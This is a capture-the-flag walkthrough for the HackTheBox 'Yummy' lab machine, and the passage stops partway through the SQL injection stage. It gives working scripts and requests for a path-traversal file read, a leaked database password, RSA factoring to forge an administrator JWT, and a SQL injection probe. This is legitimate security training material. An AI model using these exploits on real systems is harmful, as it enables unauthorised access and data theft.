Yummy – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

‘Yummy’ Avatar


Synopsis Link to heading

“Yummy” is a Hard machine from HackTheBox platform. The machine teaches how a Local File Inclusion from the main webpage allows to read sensitive files that could leak components that allow us to forge Jason Web Tokens with privileges. Additionally, we are able to exploit an SQL Injection that allow us to write files in the victim machine and gain access to it through cronjobs. This machine also teaches how to execute commands using Mercurial and RSync applications in a Linux system, and how they can be used to escalate privileges.


User Link to heading

Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.36

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 23:37 -03
Nmap scan report for 10.10.11.36
Host is up (0.48s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds

From the scan we can see a domain: yummy.htb. We add this domain to our /etc/hosts:

❯ echo '10.10.11.36 yummy.htb' | sudo tee -a /etc/hosts

Using WhatWeb over this site shows a contact email info@yummt.htb and it is running Caddy:

❯ whatweb -a 3 http://yummy.htb

http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]

Searching info about Caddy we reach its oficial webpage (which is also open source):

Info
Caddy is a powerful, extensible platform to serve your sites, services, and apps, written in Go.

Visiting http://yummy.htb shows a restaurant webpage:

Yummy 1

At the top bar we can see Register and Login options. We create an account and log in. The site now shows displays about reservations:

Yummy 2

Clicking on Book a table at the top right of the site redirects to a form to book a reservation:

Yummy 3

If we create a simple reservation now it is displayed in the main dashboard of our user:

Yummy 4

Clicking on Cancel reservation deletes the reservation and clicking on Save ICalendar generates a file. We download this file and inspect it:

❯ file Yummy_reservation_20241101_030237.ics

Yummy_reservation_20241101_030237.ics: iCalendar calendar file

We can view this file in an Online iCalendar viewer and upload the file. The file itself does not give much info:

Yummy 5

We will then start Burpsuite and intercept the request sent when we click on Save iCalendar. We get the request:

GET /reminder/22 HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyREzQ.RctjGk1UAFWqI_V76AoK7I2C95s
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

It is requesting a file using a Jason Web Token (or JWT).

Inspecting this JWT in https://jwt.io/ shows:

Yummy 6

But we don’t have much to modify this token.

Back to the response we got with Burpsuite when we clicked on Save iCalendar, we right click on it and select the options Do Intercept > Response to this request (and ensure this is being sent through HTTP instead of HTTPs). Eventually we get the response:

GET /export/Yummy_reservation_20241101_031837.ics HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

We then send a request to /export/../../../../../../../../../../etc/passwd, so the request is now:

GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Warning
Important: The url must be urlencoded, or the payload might not work.

We download a file named passwd. Checking its content we have:

❯ cat passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

We have reached a Local File Inclusion (or LFI).

We have 3 users: root, dev and qa:

❯ cat passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash

To automatize this process we create a Python script that will exploit this Local File Inclusion:

from datetime import datetime
from urllib.parse import urlencode, quote
import sys
import requests
import argparse
import random
import string


headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}


def parse_arguments():
    """
    Get user flags
    """
    parser = argparse.ArgumentParser(description="Automation for 'Local File Inclusion' in HTB Yummy machine.")
    
    parser.add_argument("-e", "--email", required=True, type=str, help="Email to register for authentication in 'HTB Yummy' webpage.")
    parser.add_argument("-u", "--username", required=True, type=str, help="Username to make the reservation in 'HTB Yummy' page.")
    parser.add_argument("-p", "--password", required=True, type=str, help="Password for authentication in 'HTB Yummy' webpage.")
    parser.add_argument("-f", "--local-file", required=True, type=str, help="File to read through Local File Inclusion vulnerability. Must be an absolute path. Example: /etc/passwd")
    parser.add_argument("--create-account", action="store_true", help="Create an account in 'HTB Yummy' webpage if it has not been already created.")
    
    return parser.parse_args()


def create_account(args: argparse.Namespace)->None:
    """
    Create an account in 'HTB Yummy' webpage (if it has not already been created)
    """
    if not '@' in args.email:
        print("[-] Not a valid email. Try, for example: user@domain.com")
        sys.exit(1)
    register_url = 'http://yummy.htb/register'
    json_data = {"email": args.email, "password": args.password}
    create_account_request = requests.post(url=register_url, headers=headers, json=json_data)
    if 'Invalid' in create_account_request.text:
        print("[-] Username already exists.")
        sys.exit(1)
    print(f"[+] Account created with email {args.email!r} and password {args.password!r}")
    return


def get_encoded_time()->str:
    """
    Get encoded current time in minutes
    """
    current_time = datetime.now().strftime("%H:%M")
    return str(urlencode({"time": current_time}).split('=')[1])


def create_booking(args: argparse.Namespace)->None:
    booking_url = 'http://yummy.htb/book'
    today_date = datetime.today().strftime('%Y-%m-%d')
    length_booking: int = 6
    booking_name: str = f"Booking ID {''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length_booking))}"
    data={'name': args.username,'email': args.email,'phone':'9999999999','date': today_date,'time':get_encoded_time(),'people':'1','message': booking_name}
    request_booking = requests.post(url=booking_url, headers=headers, data=data)
    if request_booking.status_code != 200:
        print(f"[-] Bad status code: {request_booking.status_code!r}")
        sys.exit(1)
    print(f"[+] Booking created as {booking_name!r}") 
    return


def read_file_LFI(args: argparse.Namespace) -> None:
    """
    Execute LFI
    """
    # Get session
    login_url: str = 'http://yummy.htb/login'
    session = requests.Session()
    json_data = {"email": args.email, "password": args.password}
    _ = session.post(url=login_url, headers=headers, json=json_data)
    # Set payloads. Use 'safe' to urlencode '/'
    file_to_read: str = quote('../../../../../../../../../..' + args.local_file, safe='')
    lfi_url: str = 'http://yummy.htb/export/' + file_to_read
    # Get into dashboard
    dashboard_url: str = 'http://yummy.htb/dashboard'
    _ =session.get(url=dashboard_url, headers=headers)
    # Visit reminder page, as shown bu Burp
    reminder_url = 'http://yummy.htb/reminder/21'
    _ = session.get(url=reminder_url, headers=headers, allow_redirects=False)
    # Execute LFI
    print(f"[+] Making http request to {lfi_url!r}")
    lfi_req = session.get(url=lfi_url, headers=headers, allow_redirects=False)
    print(f'[+] Output obtained:\n\n' + lfi_req.text)


def main()->None:
    # Get user arguments
    args: argparse.Namespace = parse_arguments()
    # If a user has not already been created (and if requested), create a user
    if args.create_account:
        create_account(args)
    # Create a random booking
    create_booking(args)
    # Execute LFI
    read_file_LFI(args)


if __name__ == "__main__":
    main()

And now just execute it:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd'

[+] Booking created as 'Booking ID KMgA4h'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
[+] Output obtained:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<SNIP>

The script works.

Note

Around every ~10 minutes our user account is deleted. If this happens, when we execute the payload above, we should get a message about Redirecting to the main page, even if we execute this payloads multiple times. If this happens, we need to create our user again. For this we can use --create-account flag in the script, so in that case we should execute, for example:

❯ python3 exploit.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd' --create-account
We check if dev or qa users have SSH keys exposed, but we are not able to find any.

After checking many paths from this list one that is one of the first ones works:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/crontab'

[+] Booking created as 'Booking ID T9ZLgf'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fcrontab'
[+] Output obtained:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

We are able to find some info at /etc/crontab. We have 3 scripts running: app_backup.sh, table_cleanup.sh and dbmonitor.sh. All located at /data/scripts directory.

Since /data/scripts/app_backup.sh is being run by www-data, I assume we should be able to read this file. Reading it shows:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/app_backup.sh'

[+] Booking created as 'Booking ID e2Zgbp'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fscripts%2Fapp_backup.sh'
[+] Output obtained:

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

It is making a copy of /opt/app and storing it into /var/www/backupapp.zip. If we attempt to read this file it is too big to be displayed, even if we attempt to base64 its content. Since there is an /opt/app directory, we usually have app.py file inside this directory (usually for web servers using Flask). Therefore, attempting to read this file works:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/opt/app/app.py'

[+] Booking created as 'Booking ID 7QP4D4'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fapp%2Fapp.py'
[+] Output obtained:

from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone

<SNIP>

As we thought, there is a file running Flask.

After reading the script, here are some interesting parts:

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS
}

This password does not work for dev or qa user through SSH.

We also can see the functions:

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

Basically, if we are administrator user this should redirect us to admindashboard path.

Also, we can see the part where JWTs are forged:

with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401

It is using signature library. Searching for this at the headers we can see is is a function being imported:

from config import signature

It seems to be a custom library for the script.

Therefore, we attempt to read /opt/app/config/signature.py and we get the script:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

To see the generated signature generated I will copy this code into my attacker machine, but slightly modify it to print the generated token. Additionally, we need to create a virtual environment and install all the needed libraries into it. First things first, create the virtual environment and install all the needed libraries to craft a JWT token there (and some others that we might need later):

❯ python3 -m venv .venv_signature

❯ source .venv_signature/bin/activate

❯ pip3 install PyJWT cryptography sympy pycryptodome requests

We can know easily if this worked just copying signature.py into our attacker machine and executing it. If we see no errors then we are good to go.

We will then copy signature.py into a new file named modified_signature.py and create a new JWT token based on the structure provided by https://jwt.io/ when we passed our user token. Therefore, modified_signature.py script looks like:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

# Added payload, forge JWT token based on our user token
payload ={
    'email':'gunzf0x@gunzf0x.htb', # email really does not matter, since 'app.py' will just validate the role
    'role':'administrator', # set 'administrator' role, as found in 'app.py'
    'iat':int(datetime.now(timezone.utc).timestamp()),
    'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),
    'jwk':{ # add items in JWT
    'kty':'RSA',
    'n': key_data['n'],
    'e': key_data['e']
  }
}

# Create the token
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')

# Print the generated token
print(f"[+] Generated JWT token:\n\n{jwt_token}")

executing it apparently works:

❯ python3 modified_signature.py

[+] Generated JWT token:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTczMDQ0MDg2NywiZXhwIjoxNzQzNTgwODY3LCJqd2siOnsia3R5IjoiUlNBIiwibiI6MTA4NzIyODQ1ODQ3OTUzMzQ0MzM0MzEwMjM1MDczOTc2MTYzMTU2NjQ1NDk2NTU4NDYzNjE2OTY2Mzk1MDc4NTEzNTk0NDMyOTgzNjg4OTM1ODA0MTMyOTA5MDkyNTAzOTczODc1MzYzMjgyMzY1MDQyMTkzNDQxMDM3MTAyNjMyODU0OTEzNjI4NjIzMjUxMDE0ODg4ODQ4MDE1MzMxNzExNjEzODAzNTY4NTY4MzgxODY4MDQ0NTQ3MDUwNTE5MTY3MjAzMzIxNDY2NTE3NTU5MTk5MTQ1NTgwMDA2NTE2NjIyMjI4NTc2NjY5NTE5ODAyMTE3MDUwMjM4NTM0MTU0MDQ1MzY1Mjc2NTM1NjcwNjY5MDMxMjk1NjMyNTMxNzEyNTg0ODE3NDMwNDYxMjE5MjQ3ODY1ODA5LCJlIjo2NTUzN319.BMquF3lVzvcOHUaiUG-hX-B66gJpPgRGTksX8JWSn3F1aIurTNSd-kUF4uwvOzIMd9DJJgOMB0USkdzgsb2nJDbGn0GWFAnZ9Pu2fWQ8qsNwdYjSO0_xBz99sjkzGBlWBsaIxiH9c6BUCKRzIpmNlCcg0vRbUO7MScAocV7pvNa32eg

Copy this token, go to http://yummt.htb webpage and pass this JWT token:

Yummy 7

However, this token does not seems to work. Why? After some time I realized that the “private key” is generated in my server, whereas the key used by the server is, of course, generated in it.

Basically, we have a problem: it is a JWT using RSA algorithm (an assymetric algorithm); not HS256 (a symmetric algorithm) as we usually find for JWTs. We need n number and the unique pair p and q that corresponds to it. We can find this n using the generated token for our created user. So we re-order our code to generate a token and then extract the correct numbers from the generated key. I will not explain the whole theory behind RSA, but more info can be found here. We need to generate a new JWT token based on one extracted from the target machine. The plan is simple:

  1. Create a new account (so the ticket will not expire soon) and extract its JWT from our web browser.
  2. Modify this ticket and craft one with administrator role.
  3. Use this ticket to access /admindashboard path. For this I create again a Python script that accepts as argument a JWT:
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
import requests
import argparse
import sys
import json


def parse_arguments():
    """
    Get user flags
    """
    parser = argparse.ArgumentParser(description="Creates a JWT for 'HTB Yummy' machine.")
    
    parser.add_argument("-t", "--token", required=True, type=str, help="Jason Web Token extracted from 'HTB Yummy'.")
    parser.add_argument("--check-cookie", action="store_true", help="Check if generated cookie works.")
    
    return parser.parse_args()


def get_numbers_from_original_token(token):
    # Decode the JWT token
    try:
        # Decode without verifying the signature (just for extracting values)
        headers = jwt.get_unverified_header(token)
        payload = jwt.decode(token, options={"verify_signature": False})

        # Print the headers and payload
        print(70*"=")
        print(25*' ' + "Original JWT Info")
        print(70*"=")
        print("Header:")
        print(json.dumps(headers, indent=2))
        print("\nPayload:")
        print(json.dumps(payload, indent=2))
        
        # Extract the "n" and "e" value from JWT (if available)
        jwk = payload.get('jwk')
        if jwk:
            return int(jwk.get('n')), int(jwk.get('e'))
        else:
            print("[-] 'n' not found in token.")
            sys.exit(1)

    except jwt.ExpiredSignatureError:
        print("[-] The token has expired.")
    except jwt.InvalidTokenError:
        print("[-] Invalid token.")
    sys.exit(1)


def get_numbers(token, n, e):
    factors = sympy.factorint(n)
    for factor, exponent in factors.items():
        # Find numbers
        print(f"[+] Factor: {factor}, exponent: {exponent}")
        p, q = 0, 0
        if len(factors) == 2:
            p, q = factors.keys()
        print(f"[+] Found numbers: p = {p}, q = {q}")
        phi_n = (p -1)*(q -1)
        d = pow(e,-1, phi_n)
        key_data ={'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
        key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
        # Generate the key new with the numbers
        private_key_bytes = key.export_key()

        private_key = serialization.load_pem_private_key(
                                    private_key_bytes,
                                    password=None,
                                    backend=default_backend()
                                    )
        public_key = private_key.public_key()
        # Modify original token data
        original_token_data = jwt.decode(token, public_key, algorithms=["RS256"])
        original_token_data["role"]="administrator"
        original_token_data["exp"]=int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp())
        # Forge the new token
        new_jwt_token = jwt.encode(original_token_data, private_key, algorithm='RS256')
        return new_jwt_token


def check_if_cookie_works(jwt_token):
    url = 'http://yummy.htb/admindashboard'
    cookies = {'X-AUTH-Token' : jwt_token}
    # Make the request
    r = requests.get(url, cookies=cookies, allow_redirects=False)
    if r.status_code != 200:
        print(f"[-] Invalid status code {r.status_code!r}")
        return
    if '/login' in r.text:
        print("[-] Cookie generated does not seems to work.")
        return
    print(f"[+] JWT seems to work in {url!r}!")


def main()->None:
    # Get token from user
    args: argparse.Namespace = parse_arguments()
    # Get 'n' and 'e' from JWT obtained from 'HTB Yummy' machine
    n, e = get_numbers_from_original_token(args.token)
    # Modify original token
    new_token = get_numbers(args.token, n, e)
    # Print the result
    print(f"[+] Generated JWT token:\n\n{new_token}\n")
    # Check if the cookie works sending it to the target machine
    check_if_cookie_works(new_token)


if __name__ == "__main__":
    main()

We execute it:

❯ python3 modify_original_token.py -t 'eyJhbGc<SNIP>94gzOkXs'

======================================================================
                         Original JWT Info
======================================================================
Header:
{
  "alg": "RS256",
  "typ": "JWT"
}

<SNIP>

ey<SNIP>FXjG0vk

[+] JWT seems to work in 'http://yummy.htb/admindashboard'!
Note
If we get the error jwt.exceptions.ExpiredSignatureError: Signature has expired in the script this means we need to create a new user, extract its JWT and use it on the script ASAP.

Using this cookie and visiting http://yummy.htb/admindashboard works. We can now see some new requests:

Yummy 8

We note that we can search by email. If I search by something really simple as test we are redirected to http://yummy.htb/admindashboard?s=test&o=ASC. But if we search for something like:

http://yummy.htb/admindashboard?s=test&o=ASC%27%20or%201=1--%20-

in the url, the page shows an error:

Yummy 9

Seems to be a SQL Injection.

Back to our LFI script, I remember we had some files for MySQL. Checking them:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/table_cleanup.sh'

shows:

#!/bin/sh

